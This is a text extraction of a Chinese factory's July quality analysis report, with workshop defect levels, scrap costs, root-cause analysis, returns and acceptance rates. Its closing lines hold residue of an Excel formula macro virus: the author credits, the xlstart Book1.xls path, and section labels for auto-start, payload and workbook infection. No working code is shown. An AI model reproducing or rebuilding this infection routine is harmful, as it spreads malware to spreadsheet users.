质量月表 月份产品质量分析报告

封面 7月份 企业名称替换 编制：审核：批准： 分发部门：质量报告 7月份产品质量分析报告 1产品审核情况 （1）各单位质量水平 项目单位 A级缺陷总次数DA B级缺陷总次数DB C级缺陷总次数DC 样品数n 质量水平U 质量水平US A车间 0 23 124 640 0.37 0.792 B车间 0 69 90 650 0.67 0.761 C车间 0 11 121 650 0.27 0.795 D车间 0 17 226 610 0.51 1.185 零件库 0 3 9 850 0.03 0.112 注：U=10DA+5DB+1DC/n （2）各单位产品质量指数低于90％的零件清单 单位 序号 零件号 平均QKZ值（%） 主要缺陷项目 主要缺陷数量 备注 A车间 1 W3003032-15 86.8 磕碰伤 18 2 3003032-1H 89.49 磕碰伤 10 3 2912471-03 89.6 磕碰伤 24 8-0.36尺寸小 5 157-1尺寸大 3 27.87-27.60尺寸大 1 C车间 1 2902471-116 81.67 3.5+0.5尺寸大 2 磕碰伤 4 2 S2902476-01 83.3 磕碰伤 6 3 3502082-4E 86.04 磕碰伤 6 157-1尺寸短 1 4 2912481-03 87.5 磕碰伤 11 5 CQ35342 87.91 磕碰伤 14 40+-1.5尺寸短 2 6 165419544 88.35 磕碰伤 11 218+-0.5尺寸小 1 7 3003032－1H 88.75 110-1尺寸短 2 磕碰伤 5 8 2902476－01 89.6 磕碰伤 5 9 CQ39208 89.98 粗糙度次于6.3 12 4.5+-0.24尺寸大 2 圆15.8-0.2尺寸小 10 C车间 1 2803029-A1H 83.33 粗糙度次于6.3 5 2 N90349901 83.33 粗糙度次于6.3 5 3 Q1840612 83.33 粗糙度次于6.3 5 4 Q1840835 83.33 粗糙度次于6.3 5 5 1001063-JA 85 粗糙度次于6.3 3 6 3913139-JA 87.5 粗糙度次于6.3 6 7 2902481-1H 87.78 磕碰伤 7 8 5101038-JA 88.89 粗糙度次于6.3 2 2.8-0.3尺寸大 3 9 CQ35342 89.29 磕碰伤 25 （3）各单位质量水平趋势图 单位月份 A车间 B车间 C车间 D车间 零件库 备注 1月 1.184 1.115 1.556 1.066 2月 0.92 0.87 1.82 2.93 0.39 3月 0.68 0.53 0.7 1.8 0.05 4月 0.37 0.24 0.1 0.53 0.14 5月 1.32 1.31 0.45 0.59 0.04 6月 0.7 0.72 0.67 0.87 0.02 7月 0.37 0.67 0.27 0.51 0.03 8月 9月 10月 11月 12月 2磕碰伤比例情况 单位月份 A车间 B车间 C车间 零件库 1月 17.08% 8.75% 4.68% 30.73% 2月 20.24% 17.54% 15.50% 7.28% 3月 11.87% 17.53% 15.86% 1.93% 4月 7.44% 19.81% 7.13% 0.89% 5月 10.84% 14.24% 10.26% 1.15% 6月 11.64% 12.56% 17.25% 3.16% 7月 8.89% 5% 11.47% 0.68% 8月 9月 10月 11月 12月 3废品统计分析 （1）全厂废品金额：7767.18元，责任废品金额：6662.66元，责任废品率：0.212％ 序号 主要项目 金额 累计频次 累计百分比% 1 A车间 5841.64 5841.64 75% 2 B车间 1037.04 6878.68 89% 3 C车间 245.49 7124.17 92% 4 D车间 643.01 7767.18 100% 7767.18 分析：从排列图中在可以看出本月九车间废品报废数量较大，其主要原因是由于零件CQ35342零件报废数量较大，金额达1074.2元。 （2）原因分析：（因果图/树图） 环 人员 质量意识差 含碳量不均 未能按工艺正确操作 丝锥质量不好 丝锥前角小 法 机 要因确认：影响该零件大量报废的主要原因是：本月丝锥前角不合格，导致零件中径大。 (3)纠正措施：通知生产科对现有库存丝锥的进货质量进行100％检验。同时发出《8D-Reprot》通知分承包方分析原因、采取纠正措施； (4)对我厂金额最高的前10个品种统计分析： 序号 零件号 报废数量 报废金额 小计 报废主要原因 责任单位 1 CQ35342 32 172.8 调整废品 十一车间 CQ35342 131 1074.2 1247 中径大 九车间 2 W3003032-15 108 846.72 调整废品 九车间 W3003032-15 24 199.2 调整废品 B车间 W3003032-15 30 157.8 1203.72 调整废品 C车间 3 2912471-03 148 1036 1036 调整废品 A车间 4 2902476-01 129 588.24 588.24 调整废品 A车间 5 3003032-1H 19 159.79 调整废品 A车间 3003032-1H 42 342.72 502.51 调整废品 C车间 6 3502082-4E 27 488.7 488.7 调整废品 A车间 7 2902471-116 42 279.72 调整废品 A车间 2902471-116 12 55.2 334.92 调整废品 C车间 8 2902481-1H 51 300.9 调整废品 A车间 2902481-1H 3 15.18 316.08 调整废品 C车间 9 2902471-7R 36 243 调整废品 A车间 2902471-7R 10 48.4 291.4 调整废品 C车间 10 2912471-01 43 288.1 288.1 调整废品 A车间 （5）优先减少计划 序号 项目 现状 纠正预防措施以及计划完成日期 目标值 责任人 实际完成日期 1 CQ35342中径大 CQ35342中径大，报废金额达1074.2元。 详见2002-08《纠正预防措施实施》计划完成日期：2002年9月1日前 报废金额下降50% 张SS 2 A车间W3003032-15调整废品金额高 报废金额达846.76元。 详见2002-09《纠正预防措施实施表》计划完成日期：2002年10月1日前 下降调整废品20% 杨YY 优先减少计划 CQ35342中径大 实施结果验证 4PPM(供货质量） 序号 反馈单位 零件号 退货数量 责任单位 退货原因 备注 1 2902481-1H 1 A车间 零件表面烧伤 2 热电销子厂 2902471-116 2 综合责任 表面黑皮 3 Fawer.Co.Ltd 3104051-4EB1 2321 B车间 总长短 4 Fawer.Co.Ltd 3104051-B116 1964 B车间 总长短 5 Fawer.Co.Ltd N90349901 350 C车间 混件 6 Fawer.Co.Ltd N90342201 1001 C车间 混件 合计 5639 注：本月月量为3384645件，PPM为1666/百万。 本月PPM超标的主要原因是由于Fawer.Co.Ltd1-6月份的3104051-4EB1、 3104051-B116累计积压的总长短零件本月集中向我厂退货，该问题已解决， 详见2002-03《8D报告》。 5进货验收合格率 （1）采购产品/材料进货验收合格率 单位 产品进货验收 材料进货验收 总批次 不合格批次 合格率% 总批次 不合格批次 合格率% B车间 69 0 100 25 0 100 D车间 —— —— —— 2 0 100 合计 69 0 100 27 0 100 （2）顾客提供产品/材料进货验收合格率 单位 产品进货验收 材料进货验收 总批次 不合格批次 合格率% 总批次 不合格批次 合格率% A车间 50 0 100 —— —— —— B车间 32 0 100 25 0 100 C车间 285 0 100 —— —— —— D车间 12 0 100 5 0 100 合计 379 0 100 30 0 100 6出厂产品一次交检合格率 入库批次 合格批次 抽样数量 不合格数量 合格率% 184 184 3680 0 100 7过程产品一次交检合格率 单位 自路产品 顾客提供产品 交检总批次 不合格批次 合格率% 交检总批次 不合格批次 合格率% 九车间 360 2 99.4 43 0 100 十车间 232 5 95.7 232 10 95.7 十一车间 —— —— —— 285 0 100 十二车间 26 0 100 43 1 97.67 合计 618 7 98.9 603 11 98.1 8产品返工品率（单位：N/百万） 返工品数量 月产量 返工品率 0 6970590 0 5零件库废品损赔情况 c车间： 25.2元 6厂内、外质量信息通报 (1)内容： 7月6日a车间反馈1004021-01上道毛坯∮28.45-28.415尺寸小。 原因： 由于上道Fawer.CoLtd-w3车间酸洗过蚀氧化皮脱落，导致外圆尺寸小。 处理决定： 将该问题反馈给顾客，由顾客解决。 (2)内容： 7月6日A车间反馈3003032-1H所用的B45-071下球模不合格。 原因： 生产科所定购的模具质量不合格。 处理决定： 由生产科负责退货。 制表/日期： 审核/日期：质量分析报告 &C&A&CPage&P金额累计百分比%11111111 A车间B车间C车间D车间零件库 A车间B车间C车间零件库 4月份综合质量汇总情况.xls 0 Book1 D:\MICROSOFTOFFICE\OFFICE\xlstart\Book1. **AutoandOnSheetStartsHere** 3 0 0 0 Classic.PoppybyVicodinES 0 WithLordNatas 0 AnExcelFormulaMacroVirus(XF.Classic) 0 Hydrocodone/APAP10-650ForYourComputer 0 (C)TheNarkoticNetwork1998 0 0 0 **SimplePayload** 0 0 0 0 **SetOurValuesandPaths** 0 0 **AddNewWorkbook,InfectIt,SaveItAsBook1.xls** 0 0 0 0 0 0 0 0 0 0 **InfectWorkbook** 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0CQ35342中径大